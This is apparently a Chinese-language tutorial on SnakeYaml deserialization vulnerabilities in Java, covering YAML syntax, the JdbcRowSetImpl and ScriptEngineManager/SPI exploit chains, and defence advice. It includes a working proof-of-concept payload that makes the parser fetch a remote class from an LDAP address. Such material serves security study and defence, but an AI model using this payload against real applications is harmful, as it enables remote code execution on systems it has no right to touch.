深入浅出SnakeYaml反序列化
字数 1489 2025-08-20 18:17:58
SnakeYaml反序列化漏洞深入解析
1. SnakeYaml简介
SnakeYaml是Java的YAML解析类库,支持Java对象的序列化/反序列化。它使用缩进代表层级关系(只能用空格,不能用TAB)。
YAML基本语法
-
对象:
- 使用冒号表示,格式为
key: value(冒号后要加空格) - 缩进表示层级关系:
key: child-key: value child-key2: value2
- 使用冒号表示,格式为
-
数组:
- 使用短横线加空格表示数组项:
hobby: - Java - LOL
- 使用短横线加空格表示数组项:
-
常量类型:
- 支持多种常量结构:整数、浮点数、字符串、NULL、日期、布尔、时间
- 示例:
boolean: - TRUE # true,True都可以 - FALSE # false,False都可以 float: - 3.14 - 6.8523015e+5 # 科学计数法 int: - 123 - 0b1010_0111_0100_1010_1110 # 二进制表示 null: nodeName: 'node' parent: ~ # 使用~表示null string: - 哈哈 - 'Hello world' # 双引号或单引号包裹特殊字符 - newline newline2 # 多行字符串会转化为空格 date: - 2022-07-28 # ISO 8601格式(yyyy-MM-dd) datetime: - 2022-07-28T15:02:31+08:00 # ISO 8601格式,T连接时间日期,+表示时区
2. SnakeYaml反序列化漏洞
基本利用方式
SnakeYaml提供了两个关键函数:
Yaml.load():将YAML字符串或文件反序列化为Java对象Yaml.dump():将Java对象序列化为YAML格式
漏洞点:
- 反序列化时可以用
!!指定类名(类似Fastjson) - 通过setter方法赋值
- 全版本可利用(示例使用1.27版本)
JdbcRowSetImpl利用链
public static void main(String[] args) throws Exception {
String str = "!!com.sun.rowset.JdbcRowSetImpl\n" +
"{\n" +
"dataSourceName: ldap://192.168.80.1:8085/Evil,\n" +
"autoCommit: false\n" +
"}";
Yaml yaml = new Yaml();
yaml.load(str);
}
注意事项:
- SnakeYaml不能互转
false和0,payload中必须使用false - 与Fastjson类似,可以使用
JdbcRowSetImpl进行利用
ScriptEngineManager利用链(SPI机制)
SPI机制原理
Java SPI (Service Provider Interface)是一种服务发现机制,允许运行时动态加载实现特定接口的类。
关键流程:
- 使用
ServiceLoader.load(Class<T> service)加载服务 - 检查
META-INF/services目录下是否存在以接口全限定名命名的文件 - 读取文件内容获取实现类的全限定名
- 通过
Class.forName()加载对应类
特点:
- 返回懒加载迭代器(LazyIterator)
- 只有在遍历迭代器时才会按需加载类和创建实例
SPI源码分析
ServiceLoader.load(Class<T> service)调用重载方法- 构造函数调用
reload() reload()生成LazyIteratorLazyIterator关键方法:hasNext()→hasNextService()next()→nextService()
hasNextService():- 获取类路径为
META-INF/services/+类名 - 使用
getResource获取configs路径 - 解析configs文件
- 获取类路径为
nextService():- 完成
Class.forName初始化 - 执行
newInstance实例化
- 完成
漏洞利用思路
如果load的参数可以是HTTP URL,则ServiceLoader.load可能加载远程META-INF/services下的恶意类。
SPI正常使用示例
- 定义接口
- 创建实现类
- 配置文件:
- 在
META-INF/services目录下创建以接口全限定名命名的文件 - 文件内容为实现类的全限定名(每行一个)
- 在
3. 防御建议
- 避免反序列化不可信数据
- 使用安全配置或白名单限制可反序列化的类
- 及时更新到安全版本(如果有)
- 对YAML输入进行严格验证
4. 总结
SnakeYaml的反序列化漏洞主要源于:
- 允许通过
!!指定任意类进行实例化 - 通过setter方法进行属性赋值
- 可利用Java内置的危险类(如
JdbcRowSetImpl) - 结合SPI机制可能实现远程类加载
理解这些机制对于防御YAML反序列化攻击至关重要。